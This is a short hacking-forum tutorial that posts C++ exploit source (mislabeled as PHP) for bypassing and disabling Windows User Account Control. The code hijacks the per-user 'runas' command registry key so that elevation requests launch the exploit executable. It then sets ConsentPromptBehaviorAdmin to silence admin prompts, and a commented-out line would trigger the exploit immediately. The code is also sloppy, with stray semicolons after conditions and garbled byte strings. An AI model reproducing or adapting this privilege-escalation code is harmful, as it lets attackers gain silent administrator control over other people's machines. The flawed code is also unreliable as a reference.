[TUT] Bypass and disable UAC with exploit 11/6/2012

PHP Code


<?php 
#include <windows.h>
//Exploit Title: UAC Disable and always Admin
//Date:11/6/2012
//Exploit Author:KILLM3
//Tested on: Windows 7  x86
//Description: Attempts to elevate execution level to admin
//              and then disable UAC so that all actions have
//              Admin Privileges with no warning.
using namespace std;

int main()
{
    HKEY key1, key2;
    //key1 is for HKLM which needs Admin
    //key2 is for HKCU which does not
    if (RegOpenKey(HKEY_LOCAL_MACHINE, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"), &key1) == ERROR_SUCCESS)//Attempt to edit HKLM
    {
        if (RegSetValueEx(key1, TEXT("ConsentPromptBehaviorAdmin"), 0, REG_DWORD, (LPBYTE)"\00\00\00", 4*sizeof(char)) == ERROR_SUCCESS)
{
    RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Classes\\exefile\\shell\\runas\\command"), &key2);//If able to edit HKLM, restore HKCU
RegSetValueEx(key2, TEXT("IsolatedCommand"), 0, REG_SZ, (LPBYTE)"\22\25\31\22\20\25", strlen("\22\25\31\22\20\25")*sizeof(char));
   exit(1);
}
    }
else //If editting HKLM Failed
   RegCloseKey(key1);//Close HKLM
if (RegCreateKey(HKEY_CURRENT_USER, TEXT("Software\\Classes\\exefile\\shell\\runas\\command"), &key2) != ERROR_SUCCESS);//Create key "command" in HKCU
else
if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Classes\\exefile\\shell\\runas\\command"), &key2) != ERROR_SUCCESS);//Open (select) "command" key in HKCU.
else
if (RegSetValueEx(key2,
                   TEXT("IsolatedCommand"),
                    0,
                        REG_SZ,
                            (LPBYTE)"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACElevate.exe",
                                strlen("rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACElevate.exe")*sizeof(char)) != ERROR_SUCCESS);
                                //Make any requests for "runas admin" run rundll32.exe (A signed EXE), and then have it execute this EXE,
                                //which will then have admin rights to edit HKLM, and disable UAC completely.
else
RegCloseKey(key2);//Close HKCU
//ShellExecuteA(NULL,"runas","wuapp.exe","%WINDIR%\\System32\\",NULL,5);
//Uncomment the above line if you want the exploit to happen immeadietly and not wait on the user to naturally try to run something as admin.
return 0;
}